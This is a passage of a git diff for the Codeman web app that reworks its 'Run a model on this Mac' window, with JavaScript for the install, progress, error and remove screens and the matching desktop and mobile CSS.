buttons.appendChild( + localModelButton(localModelT('Cancel'), { + key: 'back', + disabled: ui.busy, + onClick: () => { + Object.assign(ui, { confirmRemove: false, notice: null }); + this.renderLocalModel(); + }, + }) + ); + buttons.appendChild( + localModelButton(localModelT('Remove'), { + key: 'primary', + danger: true, + disabled: ui.busy, + onClick: () => void this.removeLocalModel({ confirmed: true }), + }) + ); + const foot = localModelEl('div', 'lm-foot'); + foot.appendChild(buttons); + box.appendChild(foot); + return box; + }, + + /** + * The download bar and its figure: "6.2 of 23.1 GB", then the speed and the time left. A step + * that downloads nothing names itself instead, with the bar full once the model is in. + */ + _localModelDownloadMeter(screen, last) { + const install = localModelInstall(this._localModelStatus); + const paused = screen === 'paused'; + const progress = install.progress; + const meter = localModelEl('div', 'lm-meter'); + const head = localModelEl('div', 'lm-meter-head'); + const steps = Array.isArray(install.steps) ? install.steps : []; + const now = localModelStepLabel(install.step, String(install.cliLabel || '')); + let share = steps.indexOf(install.step) > steps.indexOf('model') ? 1 : 0; + if (progress && Number(progress.totalBytes) > 0) { + share = Number(progress.completedBytes) / Number(progress.totalBytes); + const sizes = { done: progress.completedGb, total: progress.totalGb }; + head.appendChild(localModelEl('span', 'lm-figure', localModelT('{done} of {total} GB', sizes))); + const left = localModelTimeLeft(progress.secondsLeft); + let rate = ''; + if (!paused && progress.mbPerSecond && left) { + rate = localModelT('{speed} MB per second, {left}', { speed: progress.mbPerSecond, left }); + } else if (!paused && progress.mbPerSecond) { + rate = localModelT('{speed} MB per second', { speed: progress.mbPerSecond }); + } + if (rate) head.appendChild(localModelEl('span', 'lm-figure-aside', rate)); + } else { + head.appendChild(localModelEl('span', 'lm-figure', now)); + } + meter.appendChild(head); + meter.appendChild(localModelBar({ share, role: 'progressbar', kind: 'download', from: last.download, label: now })); + return meter; + }, + + /** Installing, and the same picture frozen: paused. */ + _buildLocalModelProgress(screen, last) { + const ui = this._localModelWindowState(); + const install = localModelInstall(this._localModelStatus); + const paused = screen === 'paused'; + const model = install.model ? String(install.model.label || install.model.id || '') : ''; + const parts = []; + const title = paused + ? localModelT('The install of {model} is paused', { model }) + : localModelT('Installing {model}', { model }); + parts.push(localModelEl('p', 'lm-title', title)); + + // The download bar takes the place of the memory bar. + parts.push(this._localModelDownloadMeter(screen, last)); + + const list = this._localModelStepsEl(install, { stopped: paused }); + if (list) parts.push(list); + + if (ui.confirmRemove) { + parts.push(this._localModelRemoveEl()); + return parts; + } + + const note = paused + ? localModelT('Nothing is downloaded until you continue.') + : localModelT('You can close this window. The download continues while Codeman is running.'); + parts.push(localModelEl('p', 'lm-aside', note)); + const notice = this._localModelNoticeEl(); + if (notice) parts.push(notice); + + const foot = localModelEl('div', 'lm-foot'); + const buttons = localModelEl('div', 'lm-buttons'); + if (install.actions.includes('cancel')) { + buttons.appendChild( + localModelButton(localModelT('Cancel'), { + key: 'primary', + disabled: ui.busy, + onClick: () => void this.cancelLocalModelInstall(), + }) + ); + } + if (paused && install.actions.includes('remove')) { + buttons.appendChild( + localModelButton(localModelT('Remove'), { + key: 'remove', + disabled: ui.busy, + onClick: () => void this.removeLocalModel(), + }) + ); + } + if (paused && install.actions.includes('install') && this._localModelSelection()) { + buttons.appendChild( + localModelButton(localModelT('Choose another model'), { + key: 'choose', + disabled: ui.busy, + onClick: () => this.chooseLocalModel(), + }) + ); + } + if (paused && install.actions.includes('resume')) { + buttons.appendChild( + localModelButton(localModelT('Continue'), { + key: 'primary', + primary: true, + disabled: ui.busy, + onClick: () => void this.resumeLocalModelInstall(), + }) + ); + } + if (buttons.childElementCount) foot.appendChild(buttons); + parts.push(foot); + return parts; + }, + + /** + * The ONE action that helps after an error, as a button, or null when the server does not + * offer it right now. `error.next` names it; `install.actions` says whether it is possible. + */ + _localModelNextButton(install, error) { + const ui = this._localModelWindowState(); + const can = (action) => install.actions.includes(action); + const primary = (label, onClick) => + localModelButton(label, { key: 'primary', primary: true, disabled: ui.busy, onClick }); + const installed = install.state === 'installed'; + if (error.next === 'retry' && can('resume')) { + return primary(localModelT('Try again'), () => void this.resumeLocalModelInstall()); + } + if (error.next === 'other-port' && installed && can('start')) { + return primary(localModelT('Use another port'), () => void this.setLocalModelRuntime('start', { newPort: true })); + } + if (error.next === 'other-port' && can('resume')) { + return primary(localModelT('Use another port'), () => void this.resumeLocalModelInstall({ newPort: true })); + } + if (error.next === 'start' && can('start')) { + return primary(localModelT('Start'), () => void this.setLocalModelRuntime('start')); + } + if (error.next === 'remove' && can('remove')) { + return primary(localModelT('Remove'), () => void this.removeLocalModel()); + } + if (error.next === 'next-model' && can('install')) { + const candidates = localModelCandidates(this._localModelStatus); + const next = error.nextModel && candidates.find((row) => row.modelId === error.nextModel.modelId); + if (next) { + const model = String(error.nextModel.modelLabel || next.modelLabel || next.modelId); + return primary(localModelT('Try {model}', { model }), () => this.chooseLocalModel(next.modelId)); + } + if (candidates.length) return primary(localModelT('Choose another model'), () => this.chooseLocalModel()); + } + return null; + }, + + /** An error as the window shows it: the server's sentence, and its raw detail folded away. */ + _localModelErrorEl(error) { + const box = localModelEl('div', 'lm-error'); + box.appendChild(localModelEl('p', 'lm-title', localModelMessage(error.message))); + if (typeof error.detail === 'string' && error.detail) { + const details = localModelEl('details', 'lm-details'); + details.appendChild(localModelEl('summary', '', localModelT('Details'))); + details.appendChild(localModelEl('pre', 'lm-detail-text', error.detail)); + box.appendChild(details); + } + return box; + }, + + _buildLocalModelFailed() { + const ui = this._localModelWindowState(); + const install = localModelInstall(this._localModelStatus); + const error = install.error || {}; + const parts = []; + parts.push(this._localModelErrorEl(error)); + const list = this._localModelStepsEl(install, { stopped: true }); + if (list) parts.push(list); + + if (ui.confirmRemove) { + parts.push(this._localModelRemoveEl()); + return parts; + } + const notice = this._localModelNoticeEl(); + if (notice) parts.push(notice); + + const foot = localModelEl('div', 'lm-foot'); + const buttons = localModelEl('div', 'lm-buttons'); + const next = this._localModelNextButton(install, error); + // The way out, kept quiet beside the action that helps (unless that action is the removal). + if (install.actions.includes('remove') && error.next !== 'remove') { + buttons.appendChild( + localModelButton(localModelT('Remove'), { + key: 'remove', + disabled: ui.busy, + onClick: () => void this.removeLocalModel(), + }) + ); + } + if (next) buttons.appendChild(next); + if (buttons.childElementCount) foot.appendChild(buttons); + parts.push(foot); + return parts; + }, + + _buildLocalModelInstalled() { + const ui = this._localModelWindowState(); + const install = localModelInstall(this._localModelStatus); + const model = install.model ? String(install.model.label || install.model.id || '') : ''; + const parts = []; + const title = install.running + ? localModelT('{model} is ready on this Mac.', { model }) + : localModelT('{model} is installed on this Mac.', { model }); + parts.push(localModelEl('p', 'lm-title', title)); + + // The measured facts, in one line: what the runtime reported when the install checked it. + const loaded = install.loaded || {}; + const facts = { context: localModelCount(loaded.context ?? install.context), memory: loaded.memoryGb }; + let line = ''; + if (loaded.memoryGb && loaded.onGpu === true) { + line = localModelT('Context {context} tokens. Takes {memory} GB of memory when loaded, all on the GPU.', facts); + } else if (loaded.memoryGb) { + line = localModelT('Context {context} tokens. Takes {memory} GB of memory when loaded.', facts); + } else if (facts.context) { + line = localModelT('Context {context} tokens.', facts); + } + const state = localModelEl('div', 'lm-state'); + const dot = localModelEl('span', install.running ? 'lm-dot lm-dot-on' : 'lm-dot'); + dot.setAttribute('aria-hidden', 'true'); + state.appendChild(dot); + state.appendChild( + localModelEl('span', 'lm-state-text', install.running ? localModelT('Running') : localModelT('Stopped')) + ); + parts.push(state); + const about = []; + if (install.cliLabel) about.push(localModelT('Runs with {cli}.', { cli: String(install.cliLabel) })); + if (line) about.push(line); + if (about.length) parts.push(localModelEl('p', 'lm-aside', about.join(' '))); + + // Something blocks a session: the server's sentence. Its one action is the main button below. + const error = install.error; + if (error) parts.push(this._localModelErrorEl(error)); + + if (ui.confirmRemove) { + parts.push(this._localModelRemoveEl()); + return parts; + } + const tools = this._localModelDeveloperToolsEl(); + if (tools) parts.push(tools); + const notice = this._localModelNoticeEl(); + if (notice) parts.push(notice); + + const can = (action) => install.actions.includes(action); + const next = error ? this._localModelNextButton(install, error) : null; + const foot = localModelEl('div', 'lm-foot'); + const buttons = localModelEl('div', 'lm-buttons'); + if (can('remove') && error?.next !== 'remove') { + buttons.appendChild( + localModelButton(localModelT('Remove'), { + key: 'remove', + disabled: ui.busy, + onClick: () => void this.removeLocalModel(), + }) + ); + } + if (can('stop')) { + buttons.appendChild( + localModelButton(localModelT('Stop'), { + key: 'stop', + disabled: ui.busy, + onClick: () => void this.setLocalModelRuntime('stop'), + }) + ); + } + // Start is the main action of a stopped model, unless the error's own button says so already. + if (can('start') && !(error && (error.next === 'start' || error.next === 'other-port'))) { + buttons.appendChild( + localModelButton(localModelT('Start'), { + key: can('start-session') || next ? 'start' : 'primary', + primary: !can('start-session') && !next, + disabled: ui.busy, + onClick: () => void this.setLocalModelRuntime('start'), + }) + ); + } + if (next) buttons.appendChild(next); + if (can('start-session')) { + buttons.appendChild( + localModelButton(localModelT('Start a session'), { + key: 'primary', + primary: !next, + disabled: ui.busy, + onClick: () => void this.startLocalModelSession(), + }) + ); + } + if (buttons.childElementCount) foot.appendChild(buttons); + parts.push(foot); + return parts; + }, + + /** No model fits: the hardware line, the reason in the server's sentence, and Close. */ + _buildLocalModelNone() { + const status = this._localModelStatus; + const parts = []; + const hw = status.recommendation.reason === 'not-macos' ? null : this._localModelHardwareEl(); + if (hw) parts.push(hw); + const reason = localModelMessage(status.recommendation.headline); + if (reason) parts.push(localModelEl('p', 'lm-reason', reason)); + const notice = this._localModelNoticeEl(); + if (notice) parts.push(notice); + const foot = localModelEl('div', 'lm-foot'); + const buttons = localModelEl('div', 'lm-buttons'); + buttons.appendChild( + localModelButton(localModelT('Close'), { key: 'primary', onClick: () => this.closeLocalModelWindow() }) + ); + foot.appendChild(buttons); + parts.push(foot); + return parts; }, /** Listeners that outlive a render, wired once. */ _wireLocalModel() { if (this._localModelWired) return; this._localModelWired = true; - // Both containers are data-i18n-skip (see @fileoverview), so the DOM translator never - // revisits them: a language or display-name change has to repaint them from here. + // Every surface is data-i18n-skip (see @fileoverview), so the DOM translator never revisits + // them: a language or display-name change has to repaint them from here. if (typeof MutationObserver === 'function' && document.documentElement) { - const observer = new MutationObserver(() => this.renderLocalModel()); + const observer = new MutationObserver(() => { + this._forgetLocalModelPaint(); + this.renderLocalModel(); + }); observer.observe(document.documentElement, { attributes: true, attributeFilter: ['lang'] }); } // The real role can arrive after the first render (admin-ui.js fetches /api/me): a non-admin - // loses the card and the group, and an admin the page had taken for one is asked for at last. + // loses the button and the group, and an admin the page had taken for one is asked for at last. document.addEventListener?.('codeman:me', () => void this.loadLocalModel()); }, }); diff --git a/src/web/public/mobile.css b/src/web/public/mobile.css index a099bfa9..cfdff19c 100644 --- a/src/web/public/mobile.css +++ b/src/web/public/mobile.css @@ -1857,15 +1857,27 @@ html.mobile-init .file-browser-panel { margin-top: 0.75rem; } - /* Model on this Mac (local-model-ui.js). Only reached with the phone overview - switched off. The card has no fixed width and every line in it wraps, so - the narrow column only takes some of the spacing back. */ - .local-model-card { - margin-top: 0.6rem; + /* Run a model on this Mac (local-model-ui.js). The welcome button is only + reached with the phone overview switched off; it takes the chips' finger + size from `.welcome-chip` above. The window is full-screen like every + modal here: its own width rule in styles.css is more specific than the + full-screen `.modal-content` rule above, so the size is restated. */ + .modal-content.local-model-window { + width: 100%; + max-width: 100%; + height: 100%; + max-height: 100%; } - .local-model-box { - padding: 0.5rem 0.55rem; + .local-model-window > .lm-body { + flex: 1; + padding: 1rem 1rem calc(1rem + var(--safe-area-bottom)); + } + + /* The window fills the screen, so its actions sit at the bottom, under the thumb. */ + .lm-body > .lm-foot, + .lm-body > .lm-remove { + margin-top: auto; } /* Ralph wizard responsive */ @@ -3980,16 +3992,6 @@ html:is([data-skin="paper-gray"], [data-skin="solarized-light"], [data-skin="cat max-width: none; } - /* Model on this Mac (local-model-ui.js): its row follows the label size above. */ - #localModelSettings .local-model-headline, - #localModelSettings .local-model-name { - font-size: 0.84rem; - } - - #localModelSettings .local-model-alt .local-model-name { - font-size: 0.78rem; - } - /* Fields go full width under their label instead of fighting for the row */ :is(#appSettingsModal, #sessionOptionsModal, #createCaseModal) .set-row.has-field { flex-direction: column; @@ -4282,3 +4284,76 @@ html[data-session-list="sidebar"] .session-sidebar .session-tab .tab-close { touch-action: pan-x pan-y; } } + +/* Run a model on this Mac (local-model-ui.js), under 560px: each model row + becomes two lines (name and tag, then speed and download size), the bar + stays full width and the buttons go full width under the foot's sentence. */ +@media (max-width: 559px) { + .lm-list { + grid-template-columns: auto minmax(0, 1fr) auto; + column-gap: 0.7rem; + } + + .lm-caption-speed, + .lm-caption-size { + display: none; + } + + .lm-model { + row-gap: 0.1rem; + padding-top: 0.5rem; + padding-bottom: 0.5rem; + } + + .lm-radio { + grid-row: 1; + grid-column: 1; + } + + .lm-model-name { + grid-row: 1; + grid-column: 2; + } + + .lm-model-tag { + grid-row: 1; + grid-column: 3; + justify-content: flex-end; + } + + .lm-model-speed { + grid-row: 2; + grid-column: 2; + text-align: start; + } + + .lm-model-size { + grid-row: 2; + grid-column: 3; + } + + .lm-model-static .lm-model-name { + grid-column: 1 / span 2; + } + + .lm-model-static .lm-model-speed { + grid-column: 1 / span 2; + } + + .lm-foot { + flex-direction: column; + align-items: stretch; + gap: 0.8rem; + } + + /* The main action on top, the way back under it. */ + .lm-buttons { + flex-direction: column-reverse; + margin-inline-start: 0; + } + + .local-model-window .wt-btn.lm-btn { + min-height: 44px; + font-size: 0.88rem; + } +} diff --git a/src/web/public/settings-ui.js b/src/web/public/settings-ui.js index dc988bb6..88646062 100644 --- a/src/web/public/settings-ui.js +++ b/src/web/public/settings-ui.js @@ -550,8 +550,9 @@ Object.assign(CodemanApp.prototype, { // Assigning .checked above does not fire onchange, so the body's visibility // (and its lazy load) needs an explicit sync on every open, not just a save. this.applyCustomModelEndpointsVisibility(); - // Model on this Mac (local-model-ui.js): a read-only row, not a setting. Server state, - // asked for at most once a minute; nothing here is loaded or saved by id. + // Model on this Mac (local-model-ui.js): a row that says where the local model stands and + // opens its window, not a setting. Server state, asked for at most once a minute; nothing + // here is loaded or saved by id. this.loadLocalModel?.(); // CLI management (docs/cli-enable-disable-plan.md): synced, default OFF. document.getElementById('appSettingsCliManagement').checked = settings.cliManagementEnabled === true; diff --git a/src/web/public/styles.css b/src/web/public/styles.css index ba9ac133..24494294 100644 --- a/src/web/public/styles.css +++ b/src/web/public/styles.css @@ -22304,192 +22304,687 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til } /* ═══════════════════════════════════════════════════════════════ - Model on this Mac (local-model-ui.js): what the server's Mac can run as - a local coding model. One body (`.local-model-body`), drawn in two places: - the welcome card and a row of App Settings > Models. + Run a model on this Mac (local-model-ui.js): the welcome button and the + chooser window (#localModelModal). The App Settings row is ordinary + `.set-row` markup and needs nothing here. - Same vocabulary as the two blocks above it on the welcome screen: a dim - heading row, then one bordered surface with a name over dim meta lines. - Theme tokens only (`--control-bg`, never a white alpha: that fill is - invisible on the light skins), and the fit and speed labels are neutral - pills: the words carry the meaning, so no skin needs a colour of its own. - Nothing here is keyed on a CLI or a model id, and nothing animates. + The subject is this Mac's memory, so the window has ONE strong element: + the bar (`.lm-bar`), the memory this Mac can give a model, filled to what + the selected model needs. Everything around it is quiet: hierarchy by size + and weight, no box inside the window, no border around a row. The selected + row carries the accent on its reading edge and a faint fill. + + Theme tokens only, never a black or white alpha (those vanish on the light + skins). The bar's track is `--control-border-hover`: the fill of the app's + inputs (`--bg-input`) is the window's own surface on the dark skins, so the + part of the bar that stays free could not be seen. Nothing here is keyed on + a CLI or a model id. The only motion is the bar's width, and it stops under + prefers-reduced-motion. ═══════════════════════════════════════════════════════════════ */ -.local-model-card { - display: flex; - flex-direction: column; - gap: 0.4rem; - width: 100%; - margin-top: 0.75rem; - text-align: left; +/* The welcome button: one more chip, on its own line under the launchers. */ +.welcome-local-model { + margin-top: 1.1rem; } -/* A flex container, so `[hidden]` needs re-asserting or the module's only - visibility lever does nothing (same trap as .foreign-sessions). */ -.local-model-card[hidden] { +/* `.welcome-chip` is inline-flex, so `[hidden]` needs re-asserting or the + module's only visibility lever does nothing. */ +.welcome-local-model[hidden] { display: none; } -.local-model-head { +.welcome-local-model svg { + flex-shrink: 0; +} + +/* The window: App Settings' chrome (`.modal`, `.modal-header`, `.modal-close`) + at a width of its own, the body scrolling under a fixed header. */ +.modal-content.local-model-window { display: flex; - align-items: center; + flex-direction: column; + width: min(640px, 94vw); + max-width: min(640px, 94vw); + max-height: 88vh; +} + +.local-model-window > .modal-header { + flex-shrink: 0; +} + +.local-model-window > .lm-body { + display: flex; + flex-direction: column; + gap: 1.05rem; + min-height: 0; + padding: 1.15rem 1.25rem 1.2rem; + overflow-y: auto; + text-align: start; +} + +.lm-body p, +.lm-body h4 { + margin: 0; +} + +/* ── type: four sizes, nothing in capitals ─────────────────────────── */ +.lm-hw { + font-size: 0.78rem; + line-height: 1.45; + color: var(--text-dim); + overflow-wrap: anywhere; +} + +.lm-title { + font-size: 1rem; + font-weight: 650; + line-height: 1.4; + letter-spacing: -0.01em; + color: var(--text); + overflow-wrap: anywhere; +} + +.lm-lead { + font-size: 0.84rem; + line-height: 1.5; + color: var(--text); + overflow-wrap: anywhere; +} + +/* Why no model fits: one sentence, read as a sentence and not as a headline. */ +.lm-reason { + font-size: 0.92rem; + font-weight: 500; + line-height: 1.55; + color: var(--text); + overflow-wrap: anywhere; +} + +.lm-notes { + display: flex; + flex-direction: column; + gap: 0.2rem; +} + +.lm-aside { + font-size: 0.74rem; + line-height: 1.5; + color: var(--text-dim); + overflow-wrap: anywhere; +} + +.lm-heading { + font-size: 0.74rem; + font-weight: 600; + color: var(--text-dim); +} + +/* ── the bar ───────────────────────────────────────────────────────── */ +.lm-meter { + display: flex; + flex-direction: column; gap: 0.5rem; } -.local-model-title { - margin: 0; - font-size: 0.85rem; - color: var(--text-dim); - font-weight: 500; -} - -.local-model-hide { - margin-left: auto; - font: inherit; - font-size: 0.68rem; - color: var(--text-dim); - background: transparent; - border: 1px solid var(--border); - border-radius: 999px; - padding: 0.12rem 0.5rem; - cursor: pointer; -} - -.local-model-hide:hover { - color: var(--text); - background: var(--control-bg-hover); -} - -.local-model-box { - padding: 0.55rem 0.65rem; - border: 1px solid var(--border); - border-radius: 8px; - background: var(--control-bg); - min-width: 0; -} - -.local-model-body { - display: flex; - flex-direction: column; - gap: 0.3rem; - min-width: 0; -} - -/* The line that says nothing can be set up from here yet (.local-model-next) is - the one a reader must not miss, so it reads like every other line: same size, - same --text-dim. --text-muted on this surface was 3.9:1. */ -.local-model-hw, -.local-model-line, -.local-model-note, -.local-model-next { - font-size: 0.68rem; - line-height: 1.45; - color: var(--text-dim); - overflow-wrap: anywhere; -} - -.local-model-headline { - font-size: 0.82rem; - line-height: 1.45; - color: var(--text); - overflow-wrap: anywhere; -} - -/* The pick is the one thing in the card set apart: a rule in the accent, on the - reading side (logical, so it follows a right-to-left page). */ -.local-model-pick { - display: flex; - flex-direction: column; - gap: 0.12rem; - padding-inline-start: 0.55rem; - border-inline-start: 2px solid var(--accent); -} - -.local-model-name-row { +.lm-meter-head { display: flex; flex-wrap: wrap; - align-items: center; - gap: 0.2rem 0.4rem; - min-width: 0; + align-items: baseline; + gap: 0.15rem 0.6rem; } -.local-model-name { - font-size: 0.82rem; +.lm-figure { + font-size: 1.06rem; + font-weight: 680; + letter-spacing: -0.012em; + color: var(--text); + font-variant-numeric: tabular-nums; +} + +.lm-figure-aside { + font-size: 0.74rem; + color: var(--text-dim); + font-variant-numeric: tabular-nums; +} + +.lm-bar { + height: 10px; + border-radius: 999px; + background: var(--control-border-hover); + overflow: hidden; +} + +.lm-bar-fill { + height: 100%; + border-radius: 999px; + background: var(--accent); + transition: width 0.32s cubic-bezier(0.4, 0, 0.2, 1); +} + +.lm-legend { + display: flex; + justify-content: space-between; + gap: 1rem; + font-size: 0.68rem; + line-height: 1.4; + color: var(--text-muted); +} + +.lm-legend > :last-child { + text-align: end; +} + +/* ── the models: one grid, so the numbers line up down the list ──── */ +/* Radio, name, tag, speed, download. The tag sits next to the name and takes + the room that is left, which pushes the two numbers to the right edge. */ +.lm-list { + display: grid; + grid-template-columns: auto minmax(0, max-content) minmax(0, 1fr) auto auto; + column-gap: 0.9rem; + row-gap: 0.1rem; + /* A row's fill reaches into the window's padding, so what is IN a row lines + up with every other line of the window on both edges. */ + margin-inline: calc(-0.7rem - 2px) -0.7rem; +} + +.lm-caption, +.lm-models, +.lm-model { + display: grid; + grid-column: 1 / -1; + grid-template-columns: subgrid; +} + +.lm-models { + row-gap: 0.1rem; +} + +.lm-caption, +.lm-model { + align-items: center; + padding: 0 0.7rem; + border-inline-start: 2px solid transparent; +} + +.lm-caption { + padding-bottom: 0.3rem; + font-size: 0.68rem; + color: var(--text-muted); +} + +.lm-caption-label { + grid-column: 1 / span 3; +} + +/* The server's word for a pick it has run on a Mac like this one stands where + the list's label does, in the text colour. */ +.lm-caption-strong { + font-size: 0.8rem; + font-weight: 600; + color: var(--text); +} + +.lm-caption-speed, +.lm-caption-size { + text-align: end; +} + +.lm-model { + min-height: 2.35rem; + border-radius: 7px; + cursor: pointer; + transition: background var(--transition-smooth); +} + +.lm-model:hover { + background: var(--control-bg); +} + +.lm-model:focus-visible { + outline: 2px solid var(--accent); + outline-offset: -2px; +} + +/* Selected: the accent on the reading edge and a faint fill. Nothing else. */ +.lm-model-on, +.lm-model-on:hover { + border-inline-start-color: var(--accent); + background: rgba(var(--accent-rgb), 0.075); +} + +/* The chosen row of the confirm screen: the same line, nothing to press. */ +.lm-model-static { + cursor: default; +} + +.lm-model-static .lm-model-name { + grid-column: 1 / span 2; +} + +.lm-radio { + box-sizing: border-box; + width: 14px; + height: 14px; + border: 1.5px solid var(--text-muted); + border-radius: 50%; +} + +.lm-model-on .lm-radio { + border-color: var(--accent); + background: radial-gradient(circle, var(--accent) 0 3px, transparent 3.5px); +} + +.lm-model-name { + min-width: 0; + font-size: 0.86rem; font-weight: 600; color: var(--text); overflow-wrap: anywhere; - min-width: 0; } -/* Each pill carries what it measures as its tooltip (a title), hence the cursor. */ -.local-model-pill { - flex: 0 0 auto; - font-size: 0.62rem; +.lm-model-tag { + display: flex; + justify-content: flex-start; +} + +/* A tag is text with a hairline, not a coloured pill. The accent is for the + pick (and for a row that was run on a Mac like this one). */ +.lm-tag { + padding: 0.05rem 0.42rem; + border: 1px solid var(--border-light); + border-radius: 5px; + font-size: 0.66rem; line-height: 1.5; color: var(--text-dim); - border: 1px solid var(--border); - border-radius: 999px; - padding: 0 0.42rem; white-space: nowrap; - cursor: help; } -.local-model-alts-title { - font-size: 0.72rem; +.lm-tag-accent { + border-color: rgba(var(--accent-rgb), 0.5); + color: var(--accent); +} + +.lm-model-speed, +.lm-model-size { + text-align: end; + white-space: nowrap; + font-variant-numeric: tabular-nums; +} + +.lm-model-speed { + font-size: 0.76rem; color: var(--text-dim); } -/* The welcome card folds the list behind a native disclosure (keyboard and - screen-reader behaviour for free); the summary keeps `display: list-item` - so its marker stays. */ -.local-model-alts > summary { - cursor: pointer; -} - -.local-model-alts > summary:hover { +.lm-model-size { + font-size: 0.8rem; + font-weight: 560; color: var(--text); } -.local-model-alt { +/* A browser without subgrid: fixed tracks keep the columns in line. */ +@supports not (grid-template-columns: subgrid) { + .lm-list, + .lm-models { + display: block; + } + + .lm-caption, + .lm-model { + grid-template-columns: 14px 10.5rem minmax(0, 1fr) 8.6rem 4.4rem; + column-gap: 0.9rem; + } + + .lm-model { + margin-top: 0.1rem; + } +} + +/* ── the coding agent ─────────────────────────────────────────────── */ +.lm-runs { + display: flex; + flex-wrap: wrap; + align-items: center; + gap: 0.4rem 0.6rem; + font-size: 0.78rem; + color: var(--text-dim); +} + +.lm-runs-label { + color: var(--text); +} + +.lm-select { + max-width: 100%; + padding: 5px 8px; + border: 1px solid var(--border); + border-radius: 7px; + background: var(--bg-input); + color: var(--text); + font: inherit; + font-size: 0.78rem; + outline: none; +} + +.lm-select:focus-visible { + border-color: var(--accent); +} + +.lm-runs-hint { + min-width: 0; + font-size: 0.74rem; +} + +/* ── the confirm screen ───────────────────────────────────────────── */ +.lm-sizes { display: flex; flex-direction: column; - gap: 0.1rem; - margin-top: 0.3rem; - padding-top: 0.3rem; +} + +.lm-sizes .lm-heading { + margin-bottom: 0.3rem; +} + +.lm-size-row { + display: flex; + align-items: baseline; + justify-content: space-between; + gap: 1rem; + padding: 0.28rem 0; + font-size: 0.8rem; + color: var(--text-dim); +} + +.lm-size-what { + min-width: 0; + overflow-wrap: anywhere; +} + +.lm-size-gb { + flex-shrink: 0; + color: var(--text); + font-variant-numeric: tabular-nums; + white-space: nowrap; +} + +.lm-size-total { + margin-top: 0.25rem; + padding-top: 0.55rem; + border-top: 1px solid var(--border); + font-weight: 650; + color: var(--text); +} + +.lm-agent, +.lm-where { + display: flex; + flex-direction: column; + gap: 0.35rem; +} + +/* A literal command and a folder: text to read and to copy, so it is set in + the mono face and selects whole. */ +.lm-command { + display: block; + padding: 0.42rem 0.6rem; + border-radius: 6px; + background: var(--bg-input); + color: var(--text); + font-family: var(--font-mono); + font-size: 0.72rem; + line-height: 1.5; + overflow-wrap: anywhere; + user-select: all; +} + +/* ── progress: the steps ARE a sequence, so they are a list ───────── */ +.lm-steps { + display: flex; + flex-direction: column; + gap: 0.5rem; + margin: 0; + padding: 0; + list-style: none; +} + +.lm-step { + display: flex; + align-items: center; + gap: 0.65rem; + font-size: 0.8rem; + color: var(--text-muted); +} + +.lm-step-mark { + position: relative; + box-sizing: border-box; + flex-shrink: 0; + width: 14px; + height: 14px; + border: 1.5px solid var(--border-light); + border-radius: 50%; +} + +.lm-step-done { + color: var(--text-dim); +} + +.lm-step-done .lm-step-mark { + border-color: var(--accent); + background: var(--accent); +} + +/* The check of a finished step, drawn from two borders in the page colour. */ +.lm-step-done .lm-step-mark::after { + content: ''; + position: absolute; + left: 3.5px; + top: 1px; + width: 3px; + height: 6px; + border: solid var(--accent-ink); + border-width: 0 1.5px 1.5px 0; + transform: rotate(45deg); +} + +.lm-step-now, +.lm-step-stopped { + font-weight: 600; + color: var(--text); +} + +.lm-step-now .lm-step-mark { + border-color: var(--accent); + background: radial-gradient(circle, var(--accent) 0 3px, transparent 3.5px); +} + +.lm-step-stopped .lm-step-mark { + border-color: var(--text-dim); + background: radial-gradient(circle, var(--text-dim) 0 3px, transparent 3.5px); +} + +/* ── installed ────────────────────────────────────────────────────── */ +.lm-state { + display: flex; + flex-wrap: wrap; + align-items: center; + gap: 0.3rem 0.5rem; + font-size: 0.8rem; + color: var(--text-dim); +} + +.lm-dot { + flex-shrink: 0; + width: 8px; + height: 8px; + border-radius: 50%; + background: var(--text-muted); +} + +.lm-dot-on { + background: var(--green); +} + +.lm-state-text { + font-weight: 600; + color: var(--text); +} + +/* ── a refused verb, an error's raw detail, the Remove question ──── */ +.lm-notice { + display: flex; + flex-direction: column; + gap: 0.2rem; + padding-inline-start: 0.7rem; + border-inline-start: 2px solid var(--yellow); +} + +.lm-notice-text { + font-size: 0.8rem; + line-height: 1.5; + color: var(--text); + overflow-wrap: anywhere; +} + +.lm-notice-detail { + font-size: 0.72rem; + line-height: 1.45; + color: var(--text-dim); + overflow-wrap: anywhere; +} + +.lm-details { + margin-top: 0.55rem; + font-size: 0.74rem; + color: var(--text-dim); +} + +.lm-details > summary { + width: fit-content; + cursor: pointer; +} + +.lm-details > summary:hover { + color: var(--text); +} + +.lm-detail-text { + max-height: 9rem; + margin: 0.45rem 0 0; + padding: 0.5rem 0.6rem; + border-radius: 6px; + background: var(--bg-input); + color: var(--text-dim); + font-family: var(--font-mono); + font-size: 0.68rem; + line-height: 1.5; + white-space: pre-wrap; + overflow: auto; + overflow-wrap: anywhere; +} + +.lm-remove { + display: flex; + flex-direction: column; + gap: 0.6rem; + padding-top: 0.95rem; border-top: 1px solid var(--border); } -.local-model-alt .local-model-name { - font-size: 0.76rem; - font-weight: 500; +.lm-check { + display: flex; + align-items: center; + gap: 0.5rem; + width: fit-content; + font-size: 0.8rem; + color: var(--text); + cursor: pointer; } -/* In App Settings the body sits inside an ordinary .set-row, so it takes that - surface's type scale (label 0.76rem over a muted description) and the row - supplies the border. */ -#localModelSettings { - padding: 3px 0; +.lm-check input { + margin: 0; + accent-color: var(--accent); } -#localModelSettings .local-model-headline, -#localModelSettings .local-model-name { - font-size: 0.76rem; +/* ── the foot: one promise on the left, the action on the right ──── */ +.lm-foot { + display: flex; + align-items: center; + justify-content: space-between; + gap: 1rem; + padding-top: 0.95rem; + border-top: 1px solid var(--border); } -#localModelSettings .local-model-alt .local-model-name { +.lm-remove .lm-foot { + padding-top: 0.2rem; + border-top: 0; +} + +.lm-foot-note { + min-width: 0; font-size: 0.72rem; + line-height: 1.45; + color: var(--text-muted); } -/* Touch: the two things in the card that take a press get a finger's height. */ +.lm-buttons { + display: flex; + flex-shrink: 0; + gap: 0.5rem; + margin-inline-start: auto; +} + +/* The buttons are the Git worktrees dialog's set (`.wt-btn`): a main action + that reads as one on every skin (the skin block greys + `.btn-toolbar.btn-primary`) and that the phone toolbar's !important sizing + does not reach. Only the size is the window's own. */ +.local-model-window .wt-btn.lm-btn { + padding: 0.5rem 0.95rem; + font-weight: 600; + white-space: nowrap; +} + +.local-model-window .wt-btn-primary.lm-btn { + font-weight: 700; +} + +/* OG has no designed --accent-ink: the main action takes the deeper blue and + light text of that skin's own Run button, as `.welcome-primary` does. Keep + the two in step. */ +html[data-skin='og'] .local-model-window .wt-btn-primary.lm-btn { + border-color: rgba(96, 165, 250, 0.5); + background: 